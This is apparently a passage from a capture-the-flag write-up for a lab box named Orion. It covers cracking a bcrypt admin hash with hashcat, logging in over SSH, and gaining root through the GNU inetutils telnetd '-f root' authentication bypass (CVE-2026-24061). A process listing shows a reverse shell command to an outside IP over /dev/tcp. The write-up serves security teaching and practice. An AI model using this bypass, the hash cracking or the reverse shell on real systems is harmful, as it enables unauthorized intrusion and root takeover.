| lastLoginAttemptIp | varchar(45) | YES | | NULL | |
| invalidLoginWindowStart | datetime | YES | | NULL | |
| invalidLoginCount | tinyint(3) unsigned | YES | | NULL | |
| lastInvalidLoginDate | datetime | YES | | NULL | |
| lockoutDate | datetime | YES | | NULL | |
| hasDashboard | tinyint(1) | NO | | 0 | |
| verificationCode | varchar(255) | YES | MUL | NULL | |
| verificationCodeIssuedDate | datetime | YES | | NULL | |
| unverifiedEmail | varchar(255) | YES | | NULL | |
| passwordResetRequired | tinyint(1) | NO | | 0 | |
| lastPasswordChangeDate | datetime | YES | | NULL | |
| dateCreated | datetime | NO | | NULL | |
| dateUpdated | datetime | NO | | NULL | |
+----------------------------+---------------------+------+-----+---------+-------+
28 rows in set (0.001 sec)
There’s one user, and it’s adam:
MariaDB [orion]> select id,admin,username,email,password from users;
+----+-------+----------+----------------+--------------------------------------------------------------+
| id | admin | username | email | password |
+----+-------+----------+----------------+--------------------------------------------------------------+
| 1 | 1 | admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+-------+----------+----------------+--------------------------------------------------------------+
1 row in set (0.000 sec)
Shell
Crack Hash
I’ll save that hash to a file, and pass it to hashcat:
$ cat adam.hash
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
$ hashcat adam.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
The following 6 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
25600 | bcrypt(md5($pass)) | Generic KDF
25800 | bcrypt(sha1($pass)) | Generic KDF
30600 | bcrypt(sha256($pass)) | Generic KDF
28400 | bcrypt(sha512($pass)) | Generic KDF
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))] | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
...[snip]...
It’s a bcrypt hash, but it’s not clear which format. Whenever I see this, the first to try is 3200 unless I have reason to think otherwise.
bcrypt is very slow to crack, so if it is meant to be cracked, it will be something toward the top of rockyou.txt. It does crack in 20 seconds on my host:
$ hashcat adam.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt -m 3200
hashcat (v7.1.2) starting
...[snip]...
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
...[snip]...
Started: Thu Jul 9 06:03:38 2026
Stopped: Thu Jul 9 06:03:58 2026
su / SSH
The password works with su to switch to adam:
www-data@orion:/$ su - adam
Password:
adam@orion:~$
It also works over SSH:
oxdf@hacky$ sshpass -p darkangel ssh adam@orion.htb
Warning: Permanently added 'orion.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
...[snip]...
adam@orion:~$
Either way I’ll grab user.txt:
adam@orion:~$ cat user.txt
8d793fb9************************
Shell as root
Enumeration
Users
There’s nothing too interesting in adam’s home directory:
adam@orion:~$ ls -la
total 40
drwxr-x--- 5 adam adam 4096 May 12 08:15 .
drwxr-xr-x 3 root root 4096 May 12 08:15 ..
lrwxrwxrwx 1 root root 9 May 7 12:28 .bash_history -> /dev/null
-rw-r--r-- 1 adam adam 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 adam adam 3771 Jan 6 2022 .bashrc
drwx------ 3 adam adam 4096 May 12 08:15 .cache
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .config
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .local
-rw-r--r-- 1 adam adam 807 Jan 6 2022 .profile
-rw-r----- 1 root adam 33 Jul 8 21:24 user.txt
-rw-rw-r-- 1 adam adam 166 Mar 6 13:34 .wget-hsts
adam cannot run sudo:
adam@orion:~$ sudo -l
[sudo] password for adam:
Sorry, user adam may not run sudo on orion.
Processes
I can enumerate processes as adam or www-data. I’ll dump a full process list:
www-data@orion:~$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 166376 11696 ? Ss Jul08 0:05 /sbin/init
root 2 0.0 0.0 0 0 ? S Jul08 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Jul08 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Jul08 0:00 [rcu_par_gp]
root 5 0.0 0.0 0 0 ? I< Jul08 0:00 [slub_flushwq]
root 6 0.0 0.0 0 0 ? I< Jul08 0:00 [netns]
root 8 0.0 0.0 0 0 ? I< Jul08 0:00 [kworker/0:0H-events_highpri]
root 10 0.0 0.0 0 0 ? I< Jul08 0:00 [mm_percpu_wq]
root 11 0.0 0.0 0 0 ? S Jul08 0:00 [rcu_tasks_rude_]
root 12 0.0 0.0 0 0 ? S Jul08 0:00 [rcu_tasks_trace]
root 13 0.0 0.0 0 0 ? S Jul08 0:00 [ksoftirqd/0]
root 14 0.0 0.0 0 0 ? I Jul08 0:11 [rcu_sched]
root 15 0.0 0.0 0 0 ? S Jul08 0:00 [migration/0]
root 16 0.0 0.0 0 0 ? S Jul08 0:00 [idle_inject/0]
root 18 0.0 0.0 0 0 ? S Jul08 0:00 [cpuhp/0]
root 19 0.0 0.0 0 0 ? S Jul08 0:00 [cpuhp/1]
root 20 0.0 0.0 0 0 ? S Jul08 0:00 [idle_inject/1]
root 21 0.0 0.0 0 0 ? S Jul08 0:00 [migration/1]
root 22 0.0 0.0 0 0 ? S Jul08 0:03 [ksoftirqd/1]
root 24 0.0 0.0 0 0 ? I< Jul08 0:00 [kworker/1:0H-events_highpri]
root 25 0.0 0.0 0 0 ? S Jul08 0:00 [kdevtmpfs]
root 26 0.0 0.0 0 0 ? I< Jul08 0:00 [inet_frag_wq]
root 27 0.0 0.0 0 0 ? S Jul08 0:04 [kauditd]
root 28 0.0 0.0 0 0 ? S Jul08 0:00 [khungtaskd]
root 29 0.0 0.0 0 0 ? S Jul08 0:00 [oom_reaper]
root 30 0.0 0.0 0 0 ? I< Jul08 0:00 [writeback]
root 31 0.0 0.0 0 0 ? S Jul08 0:01 [kcompactd0]
root 32 0.0 0.0 0 0 ? SN Jul08 0:00 [ksmd]
root 33 0.0 0.0 0 0 ? SN Jul08 0:00 [khugepaged]
root 80 0.0 0.0 0 0 ? I< Jul08 0:00 [kintegrityd]
root 81 0.0 0.0 0 0 ? I< Jul08 0:00 [kblockd]
root 82 0.0 0.0 0 0 ? I< Jul08 0:00 [blkcg_punt_bio]
root 83 0.0 0.0 0 0 ? I< Jul08 0:00 [tpm_dev_wq]
root 84 0.0 0.0 0 0 ? I< Jul08 0:00 [ata_sff]
root 85 0.0 0.0 0 0 ? I< Jul08 0:00 [md]
root 86 0.0 0.0 0 0 ? I< Jul08 0:00 [edac-poller]
root 87 0.0 0.0 0 0 ? I< Jul08 0:00 [devfreq_wq]
root 88 0.0 0.0 0 0 ? S Jul08 0:00 [watchdogd]
root 90 0.0 0.0 0 0 ? I< Jul08 0:01 [kworker/1:1H-kblockd]
root 92 0.0 0.0 0 0 ? S Jul08 0:00 [kswapd0]
root 93 0.0 0.0 0 0 ? S Jul08 0:00 [ecryptfs-kthrea]
root 95 0.0 0.0 0 0 ? I< Jul08 0:00 [kthrotld]
root 96 0.0 0.0 0 0 ? S Jul08 0:00 [irq/24-pciehp]
root 97 0.0 0.0 0 0 ? S Jul08 0:00 [irq/25-pciehp]
root 98 0.0 0.0 0 0 ? S Jul08 0:00 [irq/26-pciehp]
root 99 0.0 0.0 0 0 ? S Jul08 0:00 [irq/27-pciehp]
root 100 0.0 0.0 0 0 ? S Jul08 0:00 [irq/28-pciehp]
root 101 0.0 0.0 0 0 ? S Jul08 0:00 [irq/29-pciehp]
root 102 0.0 0.0 0 0 ? S Jul08 0:00 [irq/30-pciehp]
root 103 0.0 0.0 0 0 ? S Jul08 0:00 [irq/31-pciehp]
root 104 0.0 0.0 0 0 ? S Jul08 0:00 [irq/32-pciehp]
root 105 0.0 0.0 0 0 ? S Jul08 0:00 [irq/33-pciehp]
root 106 0.0 0.0 0 0 ? S Jul08 0:00 [irq/34-pciehp]
root 107 0.0 0.0 0 0 ? S Jul08 0:00 [irq/35-pciehp]
root 108 0.0 0.0 0 0 ? S Jul08 0:00 [irq/36-pciehp]
root 109 0.0 0.0 0 0 ? S Jul08 0:00 [irq/37-pciehp]
root 110 0.0 0.0 0 0 ? S Jul08 0:00 [irq/38-pciehp]
root 111 0.0 0.0 0 0 ? S Jul08 0:00 [irq/39-pciehp]
root 112 0.0 0.0 0 0 ? S Jul08 0:00 [irq/40-pciehp]
root 113 0.0 0.0 0 0 ? S Jul08 0:00 [irq/41-pciehp]
root 114 0.0 0.0 0 0 ? S Jul08 0:00 [irq/42-pciehp]
root 115 0.0 0.0 0 0 ? S Jul08 0:00 [irq/43-pciehp]
root 116 0.0 0.0 0 0 ? S Jul08 0:00 [irq/44-pciehp]
root 117 0.0 0.0 0 0 ? S Jul08 0:00 [irq/45-pciehp]
root 118 0.0 0.0 0 0 ? S Jul08 0:00 [irq/46-pciehp]
root 119 0.0 0.0 0 0 ? S Jul08 0:00 [irq/47-pciehp]
root 120 0.0 0.0 0 0 ? S Jul08 0:00 [irq/48-pciehp]
root 121 0.0 0.0 0 0 ? S Jul08 0:00 [irq/49-pciehp]
root 122 0.0 0.0 0 0 ? S Jul08 0:00 [irq/50-pciehp]
root 123 0.0 0.0 0 0 ? S Jul08 0:00 [irq/51-pciehp]
root 124 0.0 0.0 0 0 ? S Jul08 0:00 [irq/52-pciehp]
root 125 0.0 0.0 0 0 ? S Jul08 0:00 [irq/53-pciehp]
root 126 0.0 0.0 0 0 ? S Jul08 0:00 [irq/54-pciehp]
root 127 0.0 0.0 0 0 ? S Jul08 0:00 [irq/55-pciehp]
root 128 0.0 0.0 0 0 ? I< Jul08 0:00 [acpi_thermal_pm]
root 130 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_0]
root 131 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_0]
root 132 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_1]
root 133 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_1]
root 135 0.0 0.0 0 0 ? I< Jul08 0:00 [vfio-irqfd-clea]
root 136 0.0 0.0 0 0 ? I< Jul08 0:00 [mld]
root 137 0.0 0.0 0 0 ? I< Jul08 0:00 [ipv6_addrconf]
root 147 0.0 0.0 0 0 ? I< Jul08 0:00 [kstrp]
root 150 0.0 0.0 0 0 ? I< Jul08 0:00 [zswap-shrink]
root 151 0.0 0.0 0 0 ? I< Jul08 0:00 [kworker/u5:0]
root 156 0.0 0.0 0 0 ? I< Jul08 0:00 [charger_manager]
root 179 0.0 0.0 0 0 ? I< Jul08 0:01 [kworker/0:1H-kblockd]
root 203 0.0 0.0 0 0 ? I< Jul08 0:00 [mpt_poll_0]
root 204 0.0 0.0 0 0 ? I< Jul08 0:00 [mpt/0]
root 206 0.0 0.0 0 0 ? I< Jul08 0:00 [cryptd]
root 222 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_2]
root 228 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_2]
root 229 0.0 0.0 0 0 ? I< Jul08 0:00 [ttm_swap]
root 231 0.0 0.0 0 0 ? S Jul08 0:03 [irq/16-vmwgfx]
root 234 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_3]
root 237 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc0]
root 239 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc1]
root 241 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc2]
root 243 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc3]
root 245 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc4]
root 247 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc5]
root 248 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_3]
root 250 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc6]
root 252 0.0 0.0 0 0 ? S Jul08 0:00 [card0-crtc7]
root 254 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_4]
root 256 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_4]
root 259 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_5]
root 261 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_5]
root 263 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_6]
root 264 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_6]
root 266 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_7]
root 268 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_7]
root 270 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_8]
root 272 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_8]
root 274 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_9]
root 275 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_9]
root 278 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_10]
root 281 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_10]
root 282 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_11]
root 283 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_11]
root 284 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_12]
root 285 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_12]
root 286 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_13]
root 287 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_13]
root 288 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_14]
root 289 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_14]
root 290 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_15]
root 291 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_15]
root 292 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_16]
root 293 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_16]
root 294 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_17]
root 295 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_17]
root 296 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_18]
root 297 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_18]
root 298 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_19]
root 299 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_19]
root 300 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_20]
root 301 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_20]
root 302 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_21]
root 303 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_21]
root 304 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_22]
root 305 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_22]
root 306 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_23]
root 307 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_23]
root 308 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_24]
root 309 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_24]
root 310 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_25]
root 311 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_25]
root 312 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_26]
root 313 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_26]
root 314 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_27]
root 315 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_27]
root 316 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_28]
root 317 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_28]
root 318 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_29]
root 319 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_29]
root 320 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_30]
root 321 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_30]
root 322 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_31]
root 323 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_31]
root 351 0.0 0.0 0 0 ? S Jul08 0:00 [scsi_eh_32]
root 352 0.0 0.0 0 0 ? I< Jul08 0:00 [scsi_tmf_32]
root 382 0.0 0.0 0 0 ? I< Jul08 0:00 [raid5wq]
root 437 0.0 0.0 0 0 ? S Jul08 0:03 [jbd2/sda2-8]
root 438 0.0 0.0 0 0 ? I< Jul08 0:00 [ext4-rsv-conver]
root 496 0.0 3.3 210068 132280 ? S<s Jul08 0:31 /lib/systemd/systemd-journald
root 526 0.0 0.0 0 0 ? I< Jul08 0:00 [kaluad]
root 527 0.0 0.0 0 0 ? I< Jul08 0:00 [kmpath_rdacd]
root 529 0.0 0.0 0 0 ? I< Jul08 0:00 [kmpathd]
root 531 0.0 0.0 0 0 ? I< Jul08 0:00 [kmpath_handlerd]
root 532 0.0 0.6 354912 27124 ? SLsl Jul08 0:04 /sbin/multipathd -d -s
root 535 0.0 0.1 26600 7420 ? Ss Jul08 0:00 /lib/systemd/systemd-udevd
systemd+ 592 0.0 0.1 89388 6544 ? Ssl Jul08 0:03 /lib/systemd/systemd-timesyncd
root 593 0.0 0.0 85268 2576 ? S<sl Jul08 0:24 /sbin/auditd
_laurel 595 0.0 0.1 10588 6812 ? S< Jul08 0:17 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 617 0.0 0.0 0 0 ? S Jul08 0:00 [audit_prune_tre]
root 659 0.0 0.2 51168 11724 ? Ss Jul08 0:00 /usr/bin/VGAuthService
root 660 0.1 0.2 316084 10156 ? Ssl Jul08 0:57 /usr/bin/vmtoolsd
root 716 0.0 0.1 101244 6064 ? Ssl Jul08 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
systemd+ 846 0.0 0.3 26900 14556 ? Ss Jul08 0:05 /lib/systemd/systemd-resolved
root 946 0.0 0.0 6920 2868 ? Ss Jul08 0:00 /usr/sbin/cron -f -P
message+ 947 0.0 0.1 8820 4908 ? Ss Jul08 0:02 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 955 0.0 0.0 82844 3976 ? Ssl Jul08 0:02 /usr/sbin/irqbalance --foreground
root 957 0.0 0.4 32764 19256 ? Ss Jul08 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 960 0.0 0.8 254696 35376 ? Ss Jul08 0:04 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root 961 0.0 0.9 325084 37424 ? Ss Jul08 0:04 php-fpm: master process (/etc/php/8.4/fpm/php-fpm.conf)
root 963 0.0 0.1 234544 6636 ? Ssl Jul08 0:00 /usr/libexec/polkitd --no-debug
syslog 964 0.0 0.1 222404 5832 ? Ssl Jul08 0:00 /usr/sbin/rsyslogd -n -iNONE
root 967 0.0 0.8 1326560 35692 ? Ssl Jul08 0:03 /usr/lib/snapd/snapd
root 969 0.0 0.1 15572 7552 ? Ss Jul08 0:01 /lib/systemd/systemd-logind
root 971 0.0 0.3 392536 12600 ? Ssl Jul08 0:00 /usr/libexec/udisks2/udisksd
root 991 0.0 0.0 6176 1076 tty1 Ss+ Jul08 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1013 0.0 0.3 318000 12116 ? Ssl Jul08 0:00 /usr/sbin/ModemManager
root 1022 0.0 0.0 2836 1880 ? S Jul08 0:00 /usr/sbin/inetutils-inetd
root 1029 0.0 0.2 15460 9400 ? Ss Jul08 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
mysql 1081 0.1 2.5 1545096 102176 ? Ssl Jul08 1:52 /usr/sbin/mariadbd
root 1094 0.0 0.0 82336 2168 ? Ss Jul08 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 1095 0.0 0.2 85072 9876 ? S Jul08 0:31 nginx: worker process
www-data 1097 0.0 0.2 84440 8980 ? S Jul08 0:20 nginx: worker process
www-data 1330 0.0 0.3 325564 14104 ? S Jul08 0:00 php-fpm: pool www
www-data 1331 0.0 0.3 325564 14104 ? S Jul08 0:00 php-fpm: pool www
www-data 2467 0.0 1.4 258708 57316 ? S 01:35 0:01 php-fpm: pool www
www-data 2469 0.0 1.4 256236 56736 ? S 01:35 0:01 php-fpm: pool www
www-data 2470 0.0 1.4 255908 56464 ? S 01:35 0:01 php-fpm: pool www
root 4165 0.0 0.0 0 0 ? I 08:09 0:07 [kworker/1:0-events]
root 4308 0.0 0.2 239540 8188 ? Ssl 09:03 0:00 /usr/libexec/upowerd
root 4843 0.0 0.0 0 0 ? I 11:09 0:00 [kworker/1:1-events]
www-data 4999 0.0 0.0 2892 980 ? S 11:55 0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.10.15.243/443 0>&1'
www-data 5000 0.0 0.0 4364 3300 ? S 11:55 0:00 bash -c bash -i >& /dev/tcp/10.10.15.243/443 0>&1
www-data 5001 0.0 0.0 4628 3572 ? S 11:55 0:00 bash -i
www-data 5003 0.0 0.0 2808 1064 ? S 11:56 0:00 script /dev/null -c bash
www-data 5004 0.0 0.0 2892 956 pts/0 Ss 11:56 0:00 sh -c bash
www-data 5005 0.0 0.0 4628 3868 pts/0 S 11:56 0:00 bash
root 5013 0.0 0.0 0 0 ? I 12:04 0:00 [kworker/u4:0-events_unbound]
root 5093 0.0 0.0 0 0 ? I 12:09 0:00 [kworker/0:1-events]
root 5220 0.0 0.0 0 0 ? I 12:39 0:00 [kworker/0:0-events]
root 5240 0.0 0.0 0 0 ? I 12:57 0:00 [kworker/u4:3-writeback]
root 5247 0.0 0.0 0 0 ? I 13:03 0:00 [kworker/u4:1-events_unbound]
root 5250 0.0 0.1 7664 4388 pts/0 S 13:05 0:00 su - adam
adam 5252 0.0 0.2 17088 9500 ? Ss 13:05 0:00 /lib/systemd/systemd --user
adam 5253 0.0 0.0 169296 3804 ? S 13:05 0:00 (sd-pam)
root 5254 0.0 0.0 0 0 ? I 13:05 0:00 [kworker/1:2-events]
adam 5260 0.0 0.1 8800 5540 pts/0 S+ 13:05 0:00 -bash
root 5271 0.0 0.2 17204 10972 ? Ss 13:06 0:00 sshd: adam [priv]
adam 5353 0.0 0.1 17336 7876 ? S 13:06 0:00 sshd: adam@pts/1
adam 5356 0.0 0.1 8812 5588 pts/1 Ss 13:06 0:00 -bash
adam 5390 0.0 0.0 10072 1608 pts/1 R+ 13:07 0:00 ps auxww
inetutils-inetd is running as root (PID 1022). This is pretty unusual on a modern Ubuntu host.
inetutils-inetd
inetd is the legacy “super-server.” It listens on a set of ports and launches the matching service on demand, reading its config from /etc/inetd.conf. It dates from classic Unix, where it saved memory by not keeping every network daemon resident.
Modern Ubuntu doesn’t ship or run it by default. Since the move to systemd (16.04+), the equivalent job is done by systemd socket activation (.socket units). A stock 22.04 install has no inetd at all.
inetutils-inetd is a specific package (the GNU inetutils implementation) that someone had to explicitly apt install on Orion, meaning its presence here is a deliberate choice.
inetd.conf shows what it is running:
# /etc/inetd.conf: see inetd(8) for further informations.
#
# Internet superserver configuration database.
#
#
# Lines starting with "#:LABEL:" or "#<off>#" should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it is not touched during
# package updates just comment it out with a single '#' character.
#
# Packages should modify this file by using update-inetd(8).
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
#:INTERNAL: Internal services
#discard stream tcp6 nowait root internal
#discard dgram udp6 wait root internal
#daytime stream tcp6 nowait root internal
#time stream tcp6 nowait root internal
#:STANDARD: These are standard services.
127.0.0.1:telnet stream tcp nowait root /usr/local/sbin/telnetd telnetd
#:BSD: Shell, login, exec and talk are BSD protocols.
#:MAIL: Mail, news and uucp services.
#:INFO: Info services
#:BOOT: TFTP service is provided primarily for booting. Most sites
# run this only on machines acting as "boot servers."
#:RPC: RPC based services
#:HAM-RADIO: amateur-radio services
#:OTHER: Other services
It’s running telnet on the standard telnet port as root. There is a localhost only listener on port 23:
www-data@orion:$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1095/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
The telnetd version on Orion is 2.7:
www-data@orion:~$ telnetd --version
telnetd (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by many authors.
CVE Identification
Searching for “telnetd 2.7 cve” returns a bunch of hits on two different CVEs:
There are two CVEs that show up repeatedly, CVE-2026-24061 and CVE-2026-32746. I’ll go into both.
CVE-2026-32746
NIST describes CVE-2026-32746 as:
telnetd in GNU inetutils through 2.7 allows an out-of-bounds write in the LINEMODE SLC (Set Local Characters) suboption handler because add_slc does not check whether the buffer is full.
A 32-Year-Old Bug Walks Into A Telnet Server (GNU inetutils Telnetd CVE-2026-32746 Pre-Auth RCE), a blog post from Watchtowr Labs, dives into great detail about this vulnerability, showing the details of the buffer overflow, concluding with:
Well, we haven’t achieved the coveted RCE, although we’ve discovered a huge amount of probably-not-ideal behavior, such as our nice arbitrary free alongside a pointer leak. We’d love to have spent more time on this vulnerability, analysing more and more builds of Telnetd, but unfortunately, no one lives forever, and we all have other things to do.
I’ll poke at this a little but given the fact that they haven’t found it, finding it seems outside the scope of this easy box. There is a repo with a script that will check vulnerability:
adam@orion:~$ python3 cve-2026-32746.py
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-telnetd-CVE-2026-32746.py
(*) telnetd CVE-2026-32746 Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-32746]
[#] Connecting to 127.0.0.1:23
[+] Connected
[+] LINEMODE is supported
[!] telnetd vulnerable
Seems like something that would be fun to play with, but, like the authors of the post, I have other things to do as well.
CVE-2026-24061
Background
NIST describes CVE-2026-24061 as:
telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a “-f root” value for the USER environment variable.
That’s very straight forward! This first came to light on a seclist.org post, which opens with:
If you are tired of modern age vulnerabilities, and remember the good old times on bugtraq, I hope you will appreciate this one. If someone can allocated a CVE, we will add it in future release notes.
/Simon
GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter.
If the client supply a carefully crafted USER environment value being the string “-f root”, and passes the telnet(1) -a or –login parameter to send this USER environment to the server, the client will be automatically logged in as root bypassing normal authentication processes.
This happens because the telnetd server do not sanitize the USER environment variable before passing it on to login(1), and login(1) uses the -f parameter to by-pass normal authentication.
Severity: High
Vulnerable versions: GNU InetUtils since version 1.9.3 up to and including version 2.7.
This vulnerability was added to CISA KEV on 26 January 2026. GreyNoise has a nice post showing exploitation ramping up on the internet immediately after this become public.
Exploit
Exploiting this is very simple. I’ll set the USER environment variable to -f root and then use telnet to connect to localhost:
www-data@orion:~$ USER="-f root" telnet -a localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 5.15.0-177-generic (orion) (pts/0)
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
...[snip]...
root@orion:~#
From here I can grab root.txt:
root@orion:~# cat root.txt
ee96ec82************************
